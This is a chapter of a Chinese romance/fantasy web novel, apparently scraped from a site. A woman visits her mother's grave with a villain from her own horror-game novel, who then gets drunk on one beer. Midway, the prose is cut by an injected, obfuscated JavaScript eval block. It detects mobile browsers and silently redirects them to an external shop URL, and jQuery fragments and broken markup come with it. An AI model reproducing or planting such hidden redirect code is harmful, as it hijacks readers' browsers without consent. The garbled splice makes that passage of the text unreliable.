墓碑前,放了两束淡色的花,是沈榆来之前去花店买的,池暮也跟着选了一束一样的。
“妈妈,这次哥没陪我来,带你见见我的……”沈榆顿了顿,似乎不知道该怎么定义两人现在的关系。
“朋友。”
池暮语气平淡地帮她补充上。
斩钉截铁的两个字,似乎要把他们的关系在今天钉死了去。
沈榆瞥了他一眼。
他正看着沈榆,软软的发丝被风轻轻掀动,那双黑亮的眸子闪动的期待的光也跟着明明灭灭。
似乎跟她成为朋友,对他来说很有吸引力。
有些神奇……她好像不知道在什么时候被反派划为自己人了。
好吧,那就满足他。
沈榆笑了,“对,妈妈,我的朋友。”
“今天是不是有点儿晚了?但我风雨无阻地来咯,看吧,不是一个人。”
沈榆知道妈妈不喜欢看见自己孤零零一个人,现在她不能陪着自己了,大概更不想看见这种场景了吧。
沈榆弯腰,倾身,抱了抱那块冷冰冰的石头,“所以不要太担心我。”
紧接着,沈榆盘腿坐在墓碑前,拆了好几包零食放在邻近的一块儿小墓碑前。
又招呼着一旁直挺挺的池暮跟自己一起坐下来,尽力让自己像在家里的沙发上一样自在。
“你确定不是因为怕黑?”
不然怎么会带上他。
池暮依然没给她留一点儿面子地戳穿,一边说着一边找了个不近不远的距离,陪着她一起坐了下来。
沈榆反问:“我怕黑?不知道是谁刚刚进来的时候拽着我的袖子要缩成一团儿了?”
“池暮,你真的没有被掉包吗?我写的反派可没有你这么怂。”
沈榆知道附近老是有个酒鬼在大街上晃荡,为了自己的人身安全,她临时把池暮拽了来,但是没想到堂堂恐怖游戏里的大反派居然怕黑怕鬼?
原来第一次见面时,他不是装的,他是真的怕。
想到刚刚一米八七的大个子进来时被吓得抓着她跳脚的样子,沈榆眼底的笑意愈发明显。
“……虽然只有两瓶,但也不要多喝。”
“你醉了我可不会把你扛回去。”
池暮的话题转移得很僵硬,低着头开了一罐儿啤酒,递给了沈榆。这也是沈榆吩咐买的。
沈榆本就随意一提,现下接过啤酒来,更是整颗心扑在了面前的妈妈身上,再没有理会一旁眼神闪躲的池暮。
照片上的女人是彩色的。这正是沈榆记忆里的妈妈。
妈妈的单人照不多。唯一一张,是沈榆中考完以后奖励自己买的小相机试用时拍下的。
没想到相机是最后一次用,照片也是最后一次为她拍。
她有好多好多想说的话,可是话到嘴边,不知怎么,就只剩下了一句抱歉。
她害怕梦里总是出现在大火里的妈妈,害怕她痛苦翻滚的身影,害怕她的声音,害怕她的一切,所以迟迟不来见妈妈,只是站在不远处,看着沈青辞代她跟妈妈聊聊天说说话……
她都很抱歉。
沈榆拨了拨自己的头发,低着头抿了一口啤酒,才抬头看向那块石碑。
“妈。”她声音停顿了一下,“其实……我有点儿想你……很多很多个晚上。”
沈榆撑着下巴,看向石碑中间的照片,温柔的明波在眼底荡漾。
“从前被叫家长,我总是撒娇耍赖,让你消消气,没想到再一次见面,又要腆着脸求你原谅我。”
“怪我的脑袋不争气,喝了点儿药就变傻了,忘了那么多事情……不过母上大人原谅我这一次吧?”
“毕竟我以后还会经常过来烦你和桐桐的……咱一家人聚一块儿要开开心心的……”
桐桐,沈桐,是那个可以和妈妈永远待在一起的小子,妈妈在小木雕上刻过他的名字。
不过大火一烧,也只幸存了一个名字。
沈榆从前嫉妒他可以陪着妈妈,而现在,她感谢他可以陪着妈妈。
印象里妈妈也是个能喝啤酒的女士,逢年过节还能吹上两瓶,半点看不出其实是个还会缩在角落里悄悄哭的小女孩。
想到这里,沈榆举了举杯,拍拍池暮,示意他也举起酒罐子。
池暮的眼神一动,疑惑地指了指自己:?
“你也喝,我妈最喜欢热闹了。”
沈榆交代了一声,转而对着妈妈介绍起来,笑得傻憨憨的,没娇硬撒——
“妈妈,忘了告诉你了,这位是池暮,我的合伙人!悄悄告诉你一个好消息……我俩一起赚大钱了!”
“怎么样?这么多钱呐!以前是不是不敢想?”
池暮捏着手中的酒罐子,犹犹豫豫地下不了口,默默地看向沈榆,听她胡扯。
“什么项目啊……嗯……写小说……他在书里写,我在书外写……是不是很酷?”
“不过下次再来跟你和桐桐聊天,还是我一个人了……他要走的……”
听着沈榆好似与人对话般的喃喃自语,池暮手中的力道紧了紧,闷闷地灌了一口。
动作未完,女孩儿惋惜的声音在耳边响了起来。
“我哥?嗐,他马上就要结婚了。我以后也不好过去打扰不是?”
“咳,咳咳……”池暮被口中还未完全咽下的酒液狠狠呛了一口,滋味儿都没尝个清楚。
沈青辞要结婚了?什么时候的事儿?
疑惑还没在心里过一遍,池暮就听到了沈榆的自言自语。
“新娘啊,新娘是你以前最喜欢的小姑娘……林情……”
刚听到娃娃亲的故事,沈榆便仿佛已经见到了两个人的婚礼现场,揉了揉眼睛。
“以后只能是哥了,我唯一的哥!”
“妈,我以前对你偷偷许的愿都不作数,你可不许在心里偷偷笑话我。”
池暮在一旁安静地听着,如他所说,主打一个陪伴,无聊之下,学着沈榆的动作再次试探地喝了一口酒,苦涩的味道在口腔里打转儿,惹得他皱起了眉。
不好喝。
沈榆似乎有很多话要跟妈妈说,池暮的耳边时不时响起她的笑声。
他坐在一旁,在沈榆的易拉罐递过来时与她碰上一碰,看着她的眼睛像月牙一样弯起来,暖色融化在眼底,再镇定地躲开,低着头抿上一口,麻痹一下莫名又不受控制的心跳。
沈榆站起了身来,拍了拍衣服的褶皱,说了句什么,池暮听不太清楚,只是仰着面看她。
沈榆蹲下身来了,蹙着眉戳了戳池暮的额头。
池暮好像听清楚了,沈榆疑惑的咕哝声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009912|145539||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“不会吧?醉了?”
醉了?池暮摇了摇头。
沈榆松了口气,“没有就站起来,走了,要关门了。”
池暮听话地站起身来。
彼时的沈榆已经走出几步,见池暮迟迟没有跟上来,转过头来小声喊他的名字,“池暮。”
挺拔的背影没有急着动弹,而是缓缓弯了下去,面对着墓碑上的照片里的女人,深深鞠了一躬。
停顿几秒后,他才转过身来,三两步就赶上了沈榆,甚至走在了她的前面,“走吧。”
沈榆还是驻足一瞬,看了眼妈妈墓碑旁,男人的照片,指尖微动,脸色不变,把手上的易拉罐顺手扔进了不远处的垃圾桶里。
夜色渐深,大街上空空荡荡。
风一起,没落完的叶子唰拉拉地响,地上的暗黄色碎叶在路灯下被卷起,又被打落,蛇一样在街面上游荡,构成了秋夜的形状。
池暮安静地走在一侧,两个人的影子随着一个一个的路灯拉长又缩短,中间的距离还能再挤进去个人。
沈榆拢了拢外套,一双眼睛悄悄地观察四周,低哑的声音轻颤,清了清嗓子一般咳了两声,“池暮,你唱首歌吧?”
池暮顿了顿,很久,才轻哼了几句,勉强满足了沈榆。
恐怖游戏里的恐怖童谣。
沈榆记得词,毕竟是她自己写进小说里去的。没想到居然能听到现场版。
不过清朗的青年音被秋风载着飘散开来,音调清扬,在萧瑟的夜里将恐怖的词句唱出了一种蓝天白云的晴朗。
文字和声音果然还是不一样的。沈榆想。
“池暮”和池暮也是不一样的。沈榆笑了。
沈榆打算亲口问他,将第二个坦白局提上日程。
如果池暮能和沈青辞和解的话,那就再好不过了。
毕竟他的世界和她的世界不能混为一谈。
他讨厌的人和她哥也不是同一个人。
小说是小说,现实是现实……
沈榆忽然发觉耳边的哼唱消失了。
“好听吗?”池暮歪着头,额头轻碰了下她的脑袋,在沈榆惊愕的目光中说道,“我学了好久……”
沈榆的脖子好像不会转了,整个人似乎要融入路边的灯柱,直愣愣地挺在原地,耳朵渐渐发烫。
她烦躁地揉弄了两下耳尖,又自暴自弃般放下手,随意又慌乱地插进了兜里,往旁边挪了两步,离他远些,“不好听。”
“不好听?”池暮的身影却在这时似故意非故意地晃了晃。
沈榆的话让他分了神,没办法再专注于自己用眼睛规划好的直线。
沈榆下意识地将人扶住。
池暮立马弹开,摇头,双手交叉挡住沈榆的脸,拒绝她:“不要……有肢体接触。”
“……你没事儿吧?”沈榆总算意识到了哪里不对,“池暮?”
“沈,榆。”池暮也跟着喊她的名字,朦胧的眼神像是披了一层月色,看起来像是没事,实际上只剩下了最简单的思考方式。
反派真的被掉包了没错吧?
只是一罐儿啤酒诶,怎么能醉呢?
诶?怎么不能醉呢……
灯泡儿在脑海里一闪,沈榆心念一转,哼笑一声。
报复的机会,这不就来了?